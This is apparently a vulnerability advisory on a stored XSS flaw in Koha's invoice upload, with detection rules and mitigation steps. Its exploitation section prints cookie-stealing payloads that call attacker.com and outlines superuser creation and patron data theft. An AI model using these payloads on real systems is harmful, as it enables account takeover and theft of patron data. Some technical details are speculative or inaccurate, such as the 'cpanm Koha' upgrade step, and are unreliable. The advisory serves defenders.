CVE-2026-26378

Executive Summary

CVE-2026-26378 is a stored Cross-Site Scripting (XSS) vulnerability in Koha, an open-source Integrated Library System (ILS), affecting versions 25.11 and earlier. The flaw resides in the Invoice features file upload function, allowing a remote, unauthenticated attacker to upload a malicious file containing JavaScript that executes when an administrator or staff member views the invoice record. Successful exploitation results in arbitrary code execution in the context of the victim's browser session, potentially leading to administrative account compromise, data exfiltration, or full takeover of the library management system.

The vulnerability is notable because it targets the acquisition/acquisitions module — a commonly overlooked attack surface in library systems. While no public exploit code or Nuclei template is currently confirmed, the EPSS score of 0.00300 (22.3rd percentile) suggests low active exploitation in the wild at the time of analysis. However, the lack of a confirmed vendor patch (confidence 2/4, single OSV source) means organizations running affected versions should treat this as an active threat and implement immediate compensating controls.

Technical Analysis

The vulnerability is a stored Cross-Site Scripting flaw triggered through the file upload function within Koha's Invoice features, part of the Acquisitions module (used to manage vendor invoices, purchase orders, and financial records). The root cause is improper sanitization of filename and file content metadata during the invoice attachment upload process.

Vulnerability Mechanism:

1. Unsanitized File Upload Handler: The invoice file upload endpoint accepts file uploads (typically PDF, CSV, or office documents) without validating the file's MIME type, content, or — critically — the filename itself. The application reflects the uploaded file's metadata (filename, size, or embedded file properties) into the invoice detail page without output encoding.

2. Stored XSS Payload Injection: An attacker crafts a file with a malicious filename such as invoice_<svg/onload=alert(document.cookie)>.pdf or embeds JavaScript within the file's metadata (e.g., PDF author fields, Excel cell formulas). When the file is uploaded, the filename/metadata is stored in the Koha database and later rendered unescaped in the invoice view template.

3. Execution Context: The payload executes when an authorized staff member (acquisitions librarian, system administrator) navigates to the invoice record. Since Koha's staff interface operates with elevated privileges, the script runs with the victim's session token, bypassing CSRF protections and potentially enabling further authenticated actions.

Attack Surface:

• Vector: Network (remote)
• Preconditions: Attacker must be able to reach the Koha OPAC or staff interface; the Acquisitions module must be enabled (default in most deployments)
• Authentication: Not required for initial upload if the invoice upload endpoint is exposed; if protected, a valid patron (low-privileged) account suffices
• Complexity: Low — file uploads are a routine feature; no special tooling required

Technical Weakness: The application likely relies on client-side or incomplete server-side validation (e.g., checking only file extension, not content or filename encoding). The template rendering engine lacks contextual output encoding (| html filter without escaping) for fields derived from the uploaded file.

Exploitation Scenarios

Attack Chain — Full Administrative Compromise:

1. Reconnaissance: Attacker identifies a target Koha instance via Shodan dorks (http.title:"Koha") or Google dorks. They probe the Acquisitions module: GET /cgi-bin/koha/acqui/invoice.pl and enumerate accessible upload endpoints such as /cgi-bin/koha/acqui/invoice-files.pl.

2. Payload Construction: The attacker creates a malicious PDF or CSV file. A common technique is embedding JavaScript in the PDF's metadata fields (Author, Subject) or crafting a filename:

   invoice_<script>fetch('https://attacker.com/exfil?c='+document.cookie)</script>.pdf
   

   Alternatively, for filename-length constraints, a short XSS payload:

   <svg/onload=fetch(`//attacker.com/${document.cookie}`)>.pdf
   

3. Upload Trigger: The attacker uploads the file via the invoice attachment function. If unauthenticated upload is disabled, they first register a patron account (self-registration is common in Koha OPAC) and use that session to upload. The upload POST request:

   POST /cgi-bin/koha/acqui/invoice-files.pl
   Content-Type: multipart/form-data
   file=@malicious.pdf
   

4. Weaponization/Payload Delivery: The file is stored on the server filesystem and its filename is written to the invoice_files database table. No sanitization occurs at upload time — the XSS is dormant until rendering.

5. Execution: When an acquisitions librarian views the invoice record (/cgi-bin/koha/acqui/invoice.pl?invoiceid=123), the template renders the malicious filename unescaped into the HTML. The victim's browser executes the JavaScript. The payload:

   • Steals the session cookie via document.cookie and exfiltrates to the attacker's C2
   • Sends a crafted AJAX request to create a new superuser account: POST /cgi-bin/koha/admin/borrowers.pl with flags=1
   • Or performs a CSRF-style action, e.g., modifying the library's customization HTML (which itself is stored XSS affecting all patrons)

6. Post-Exploitation: With the stolen admin session or created superuser account, the attacker:

   • Exports patron records (PII including names, addresses, birthdates, library card numbers)
   • Alters book acquisition records to redirect financial flows
   • Deploys persistent JavaScript in Koha's News/Customization module, affecting all visitors to the OPAC and expanding the XSS to a watering-hole attack

Impact Assessment

Business Impact:

• Confidentiality: High — Stolen admin sessions expose patron PII (names, addresses, IDs). The Koha database typically contains extensive personal data.
• Integrity: High — Attackers can modify invoices, alter patron records, or inject persistent XSS.
• Availability: Medium — An attacker could corrupt the database or trigger a denial-of-service via mass deletion of records.

Affected Systems:

• All Koha deployments running version 25.11 or earlier, especially those with the Acquisitions module exposed to the internet. Consortial instances (shared Koha across multiple libraries) amplify blast radius.

Blast Radius:

• Compromise of one library's Koha instance can pivot to the shared database server, affecting all member libraries in a consortium.
• The stored XSS can spread to all staff and patron browsers, enabling credential harvesting and session hijacking at scale.

CVSS Assessment: With no official CVSS vector assigned, a reasonable estimate based on the vector (Network, Low complexity, High impact on confidentiality/integrity) would place this in the High (7.0-8.9) severity band.

Exploitation in the Wild: No confirmed campaigns or exploit-in-the-wild evidence as of this report. EPSS percentile of 22.3% indicates low but non-zero probability of exploitation.

Detection Guidance

Sigma Rule

title: Koha Invoice File Upload - Potential XSS Payload
id: 4f9a9c1e-8d2b-4a55-9b0d-7c3f5e2a1b8f
status: experimental
description: Detects suspicious file uploads to Koha invoice functionality containing XSS indicators in filenames or content
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-26378
author: Valtersit Threat Intelligence
date: 2026/01/15
logsource:
    category: webserver
    product: apache
    definition: 'Requirements: Koha deployed on Apache/Linux; access logs enabled'
detection:
    selection_upload:
        cs-method: 'POST'
        cs-uri-query|contains|all:
            - 'invoice-files.pl'
            - 'acqui'
    selection_xss_payload:
        cs-uri-query|contains:
            - '<script'
            - '<svg'
            - 'onload='
            - 'onerror='
            - 'javascript:'
            - '%3Cscript'
            - '%3Csvg'
    condition: selection_upload and selection_xss_payload
level: high
falsepositives:
    - Legitimate filenames containing angle brackets (rare)
    - Automated upload tools encoding filenames
tags:
    - attack.t1190
    - attack.t1059.007
    - cve.2026.26378

YARA Rule

rule CVE_2026_26378_Koha_Invoice_XSS
{
    meta:
        author = "Valtersit Threat Intelligence"
        description = "Detects malicious file uploads targeting Koha invoice XSS (CVE-2026-26378)"
        date = "2026-01-15"
        cve = "CVE-2026-26378"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-26378"
        severity = "high"
    
    strings:
        $xss_script = /<script[^>]*>.*?<\/script>/s
        $xss_svg = /<svg[^>]*onload\s*=/
        $xss_img = /<img[^>]*onerror\s*=/
        $xss_event = /on(load|error|click|mouseover)\s*=\s*["']?\s*(alert|fetch|eval|document\.cookie)/s
        $pdf_meta = /\/Title\s*\([^)]*<[^>]*[^)]*\)/s
        $koha_uri = /invoice-files\.pl|acqui\/invoice/
        $potential_encoding = /%3C(svg|script|img)/i
    
    condition:
        uint16(0) == 0x2550 or uint16(0) == 0x503C  // %PDF or <
        and (any of them)
        or ($xss_script and $koha_uri)
        or ($xss_svg and $koha_uri)
        or ($xss_img and $koha_uri)
        or ($pdf_meta and $xss_event)
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"CVE-2026-26378 Koha Invoice Upload XSS Attempt"; flow:established,to_server; content:"POST"; http_method; content:"invoice-files.pl"; http_uri; nocase; content:"acqui"; http_uri; nocase; pcre:"/<(script|svg|img)[^>]*(onload|onerror|javascript\s*:)/iU"; http_client_body; sid:2026263781; rev:1; reference:cve,2026-26378; metadata:attack_target Web_Server, deployment Perimeter, signature_severity Major, tag XSS;)

Elastic Detection

// Detect HTTP POST requests to Koha invoice upload with XSS indicators
sequence by source.ip, user.name with maxspan=5m
  [ network where
      network.protocol == "http" and
      http.request.method == "POST" and
      url.path contains "invoice-files.pl" and
      url.path contains "acqui"
  ]
  [ network where
      network.protocol == "http" and
      (
        url.query contains "<script" or
        url.query contains "<svg" or
        url.query contains "onload=" or
        url.query contains "onerror=" or
        request.body.content contains "<script" or
        request.body.content contains "<svg"
      )
  ]

Splunk SPL Query

index=web sourcetype=access_combined 
  (method=POST AND uri_path=*/acqui/invoice-files.pl*)
  OR (method=POST AND uri_path=*/invoice-files.pl*)
  [search index=web sourcetype=access_combined 
    (uri_query="*<script*" OR uri_query="*<svg*" OR uri_query="*onload=*" OR uri_query="*onerror=*")
    | return 1]
| table _time, src_ip, uri_path, uri_query, status, http_user_agent
| stats count by src_ip, uri_path, uri_query
| where count > 1

Wazuh OSSEC Rule

<group name="koha-web-attacks,">
  <rule id="100271" level="12">
    <if_sid>31100</if_sid>
    <match>invoice-files.pl|acqui/invoice</match>
    <regex>POST</regex>
    <regex>(&lt;script|&lt;svg|onload=|onerror=|javascript:)</regex>
    <description>Koha CVE-2026-26378: XSS payload in invoice file upload request</description>
    <group>attack.t1190,xss,cve-2026-26378,</group>
    <mitre>
      <id>T1190</id>
      <id>T1059.007</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 (CLAIMED — single source claims patch, not independently confirmed). OSV lists a patch, but the Koha vendor advisory has not been officially published at the time of writing. Treat the following as risk-based guidance.

1. Immediate Mitigations (day 0):

• Restrict network exposure: If the Koha staff interface and Acquisitions module are not required to be internet-facing, place them behind a VPN or IP-allowlist firewall immediately. Limit OPAC access if self-registration enables anonymous uploads.
• Disable file uploads: In Koha system preferences, disable invoice file attachments (AcqEnableFileUploads set to 0) until the patch is confirmed.
• WAF rules: Deploy a Web Application Firewall (ModSecurity, Cloudflare, AWS WAF) with rules blocking multipart form-data containing <script, <svg, onload=, onerror= in filenames or content.
• Input validation proxy: Use a reverse proxy (nginx, Apache) with client_max_body_size limits and reject uploads containing angle brackets in filenames using a simple regex filter.

2. Patch/Upgrade Steps:

• Monitor the official Koha release page (koha-community.org) for a security release.
• When available, upgrade to the fixed version using the Koha package manager:

  # Debian/Ubuntu
  sudo apt update && sudo apt upgrade koha-common
  
  # Or using cpan for Perl modules
  cpanm Koha
  

  After upgrade, restart Koha services: sudo systemctl restart koha-common.
• If OSV provides a patch commit, apply it via Git if running a source install: git cherry-pick <commit-hash>.
• Verify the patch resolves the issue by reviewing the diff for output encoding added to invoice file rendering templates.

3. Long-Term Hardening:

• Implement Content Security Policy (CSP): Add Content-Security-Policy: default-src 'self'; script-src 'self' headers in Koha's Apache/Nginx config to blast-radius XSS even if upload filters fail.
• Sanitization library: Ensure Koha uses a proper HTML sanitizer (e.g., HTML::Scrubber for Perl) on all user-controlled fields rendered in templates. Conduct a code audit of all file-upload metadata rendering paths.
• Security scanning: Integrate OWASP ZAP or Burp Suite into CI/CD to automatically fuzz upload endpoints for XSS during Koha upgrades.
• Monitor advisory feeds: Subscribe to Koha security advisories (koha-community.org/security) and OSV alerts for this CVE ID to track patch confirmation and exploit-in-the-wild updates.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-26378
2. OSV Advisory: https://osv.dev/vulnerability/CVE-2026-26378 (patch claim source)
3. Koha Community Security Advisories: https://koha-community.org/security/
4. Koha Bugzilla (invoice file upload tracking): https://bugs.koha-community.org/bugzilla3/buglist.cgi?quicksearch=invoice+upload+xss
5. MITRE ATT&CK T1190: https://attack.mitre.org/techniques/T1190/

Known Threat Actor Campaigns / Exploit-in-the-Wild: None confirmed at the time of this writing. EPSS indicates 22.3rd percentile of exploitation probability, suggesting no active mass exploitation campaign. However, Koha instances are commonly indexed by Shodan and exposed on default ports, making them attractive opportunistic targets once a PoC becomes public.